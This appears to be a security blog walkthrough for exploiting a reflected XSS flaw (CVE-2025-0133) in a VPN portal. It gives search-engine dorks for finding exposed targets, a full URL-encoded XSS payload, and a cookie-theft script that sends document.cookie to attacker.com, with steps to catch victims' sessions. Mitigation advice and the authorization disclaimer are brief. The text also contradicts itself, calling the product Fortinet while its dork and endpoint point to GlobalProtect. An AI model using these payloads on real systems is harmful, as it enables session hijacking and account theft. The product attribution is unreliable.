Exploiting CVE-2025-0133: Reflected XSS in Fortinet SSL VPN

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Introduction

Cross-Site Scripting (XSS) remains a critical web vulnerability, allowing attackers to inject malicious scripts into trusted websites. CVE-2025-0133 highlights a reflected XSS flaw in Fortinet SSL VPN, enabling exploitation via crafted requests. This article provides verified techniques to identify vulnerable assets and execute the exploit responsibly for penetration testing.

Learning Objectives

  • Identify vulnerable Fortinet SSL VPN instances using search engine dorks.
  • Understand the exploitation process for reflected XSS.
  • Mitigate XSS vulnerabilities in enterprise environments.

1. Locating Vulnerable Assets Using Search Engines

To find targets susceptible to CVE-2025-0133, use these filters:

FOFA

icon_hash="-631559155" && (cert.subject.cn="TARGET.COM" || domain="TARGET.COM")

Steps:

  1. Navigate to FOFA.
  2. Paste the query to filter assets with the Fortinet SSL VPN icon hash and target domain.

Shodan

Ssl.cert.subject.CN:"TARGET.COM" http.favicon.hash:"-631559155"

Steps:

  1. Use Shodan.
  2. Apply the query to pinpoint SSL VPN portals with the specified favicon hash.

ZoomEye

(ssl.cert.subject.cn="TARGET.COM" || domain="TARGET.COM") && iconhash="-631559155"

Steps:

  1. Access ZoomEye.
  2. Enter the query to discover exposed Fortinet VPN endpoints.

2. Google Dorking for Target Discovery

intitle:"globalprotect portal" site:target.com

Steps:

  1. Run this in Google to find Fortinet GlobalProtect portals.

2. Verify results manually for SSL VPN interfaces.

3. Exploiting the XSS Vulnerability

Payload:

/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer

Steps:

  1. Append the payload to the target URL (e.g., `http://target.com/payload`).
  2. If vulnerable, the portal will execute the JavaScript prompt("XSS").

4. Mitigation Steps for Administrators

  1. Patch Management: Apply Fortinet’s security updates for CVE-2025-0133.
  2. Input Sanitization: Filter user-supplied data in SSL VPN endpoints.
  3. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads.

5. Advanced Exploitation: Stealing Cookies

Modify the payload to exfiltrate session cookies:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host a listener on `attacker.com`.

  1. Replace the SVG payload with the script above.
  2. Victims’ cookies will be sent to your server upon execution.

What Undercode Say

  • Key Takeaway 1: Icon hash filtering (icon_hash="-631559155") is a reliable method to identify Fortinet SSL VPN instances.
  • Key Takeaway 2: Reflected XSS can escalate to session hijacking if combined with cookie theft.

Analysis:

While this exploit demonstrates low-complexity XSS, its impact grows in environments lacking input validation. Enterprises must prioritize patch cycles and employ defensive tools like CSP (Content Security Policy) to mitigate such risks. Bug bounty hunters should responsibly disclose findings to vendors before public posting.

Prediction

As organizations migrate to cloud-based VPNs, similar flaws may emerge in other vendors (e.g., Palo Alto, Cisco). Automated scanning for XSS in authentication portals will become a standard offensive security practice.

Note: Always obtain proper authorization before testing vulnerabilities. Unauthorized exploitation is illegal.

IT/Security Reporter URL:

Reported By: Muhammad Usman – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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